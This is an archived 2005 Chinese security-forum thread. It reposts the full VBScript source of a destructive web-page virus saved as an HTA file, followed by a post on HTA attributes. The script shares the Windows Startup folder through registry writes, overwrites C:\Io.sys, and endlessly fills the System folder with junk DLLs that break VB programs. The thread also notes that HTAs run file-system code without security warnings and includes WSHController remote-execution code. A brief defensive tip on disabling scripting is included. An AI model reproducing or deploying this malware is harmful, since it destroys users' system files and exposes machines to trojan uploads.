邪恶八进制信息安全团队技术讨论组's Archiver

金州 2005-12-17 23:22

[转载]一个写硬盘的网页病毒程序代码

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

一个写硬盘的网页病毒程序代码

〈script language=vbs〉
On Error Resume Next· 容错语句,避免程序崩溃
set aa=CreateObject("WScript.Shell")·建立WScript对象
Set fs = CreateObject("Scripting.FileSystemObject")·建立文件系统对象
Set dir1 = fs.GetSpecialFolder(0)·得到Windows路径
Set dir2 = fs.GetSpecialFolder(1)·得到System路径
dir1=dir1+"\START MENU\PROGRAMS\启动"
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Flags",302,"REG_DWORD"·写入Dword值Flags,这是共享类型的标志
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"·写入Dword值Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径
a=10
Set Os = CreateObject("Scriptlet.TypeLib")·建立自定义枚举对象
doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”"
·一堆垃圾码,以备写入目标文件
Os.Reset·重置TypeLib对象
Os.Path = "C:\Io.sys"·TypeLib对象的目标路径为C:\Io.sys
Os.Doc = doc·写入的内容——就是上面的一堆垃圾
Os.Write()·写入!
while true
·死循环,垃圾文件越多越好
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
·目标路径为System下的Msvbvm???.dll文件
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
 ·大量重复,以生成足够大小的文件
Os.Write()·生成文件!
wend
〈/script〉

以上代码保存为.hta文件,可以调用FileSystemObject元件(文件系统对象)。病毒首先得到你的Windows目录和System目录,再修改注册表,把你的启动目录——"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享,这样就可以被黑客搜到,上传一个“冰河”或者“广外女生”, 然后病毒就把目标对准System目录,往里面灌垃圾文件,都是形如Msvbvm???的Dll文件,而且所有VB编写的程序都不能用了,提示找不到Dll文件——因为Msvbvm50.dll和Msvbvm60.dll被垃圾文件覆盖了。

  防备方法:将ActiveX元件、Java脚本和Vbs脚本等全部禁止就可以避免Bingo。

  具体方法是:在Internet Explorer菜单中点击“工具”——“Internet选项”,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX控件以及Java和Vbs脚本相关全部选择“禁用”即可。

金州 2005-12-17 23:29

为了防止一些哥们问,hta是不是我转载的时候没有看清楚,是不是应该是html或者htm,当然,这样问的很少。
我还是先解释一下hta,

hta就是一个HTML应用程序(HTML  Application),只要你双击就能运行  

只要简单的用.hta为扩展名保存HTML页面就行了  

下面的一个标准的HTML应用程序:  
  <HTML>  
  <HEAD>  
  <TITLE>HTA  Demo</TITLE>  
<HTA:APPLICATION  ID=〃oHTA〃  
APPLICATIONNAME=〃myApp〃  
  BORDER=〃thin〃  
  BORDERSTYLE=〃normal〃  
  CAPTION=〃yes〃  
  ICON=〃filename.ico〃  
  MAXIMIZEBUTTON=〃yes〃  
  MINIMIZEBUTTON=〃yes〃  
  SHOWINTASKBAR=〃no〃  
  INGLEINSTANCE=〃no〃  
  SYSMENU=〃yes〃  
  VERSION=〃1.0〃  
  WINDOWSTATE=〃normal〃>  
  </HEAD>  
  <BODY  SCROLL=〃no〃>  
  <H1>HELLO,  WORLD!</H1>  
  </BODY>  
  </HTML>  
  

它多了HTA:APPLICATION标签。其实就是这个标签提供了一系列面向应用程序的功能。  

它的各种属性:  

APPLICATIONNAME属性(applicationName)  
  此属性为设置HTA的名称。  

BORDER属性(border)  
  此属性为设置为HTA的窗口边框类型,默认值为  thick。  
  它可以设为 thick    指定窗口为粗边框  
      dialog  window  指定窗口为对话框  
      none  指定窗口无边框  
      thin     指定窗口为窄边框  

BORDERSTYLE属性(borderStyle)  
  此属性为设置HTA窗口的边框格式,默认值为  normal。  
  它可以设为  
   normal  普通边框格式  
   complex  凹凸格式组合边框  
   raised  凸出的3D边框  
   static  3D边框格式  
   sunken  凹进的3D边框  

CAPTION属性(caption)  
  此属性为设置HTA窗口是否显示标题栏或标题,默认值为  yes。  

ICON属性(icon)  
  此属性为设置应用程序的图标。  

MAXIMIZEBUTTON属性(maximizeButton)  
  此属性为设置是否在HTA窗口中显示最大化按钮,默认值为  yes。  

MINIMIZEBUTTON属性(minimizeButton)  
  此属性为设置是否在HTA窗口中显示最小化按钮,默认值为  yes。  

SHOWINTASKBAR属性(showInTaskBar)  
  此属性为设置是否在任务栏中显示此应用程序,默认值为  yes。  

SINGLEINSTANCE属性(singleInstance)  
  此属性为设置是否此应用程序同时只能运行一次。次属性以APPLICATIONNAME属性作为标识,默认值为  no。  

SYSMENU属性(sysMenu)  
  此属性为设置是否在HTA窗口中显示系统菜单,默认值为  yes。  

VERSION属性(version)  
  此属性为设置应用程序的版本,默认值为空。  

WINDOWSTATE属性(windowState)  
  此属性为设置HTA窗口的初始大小,默认值为  normal。  
  它可以设为  normal  默认大小  
      minmize  最小化  
      maximize  最大化  

  以上括号中的是在脚本引用的属性。在脚本中以上属性皆为只读属性。此外,在脚本中还可以使用commandLine属性来检索应用程序启动时的参数。  
  在HTA中还可以使用html中的绝大多数标签、脚本等。  

将用了fso的页面作成hta,双击运行时就没有安全警告的
var Controller = WScript.CreateObject("WSHController");
var RemoteScript = Controller.CreateScript("test.js", "remoteserver");
WScript.ConnectObject(RemoteScript, "remote_");
RemoteScript.Execute();

while (RemoteScript.Status != 2) {
   WScript.Sleep(100);
}

WScript.DisconnectObject(RemoteScript);

function remote_Error()
{
   var theError = RemoteScript.Error;
   WScript.Echo("Error " + theError.Number + " - Line: " + theError.Line + ", Char: " + theError.Character + "\nDescription: " + theError.Description);
   WScript.Quit(-1);
}

页: [1]
© 1999-2008 EvilOctal Security Team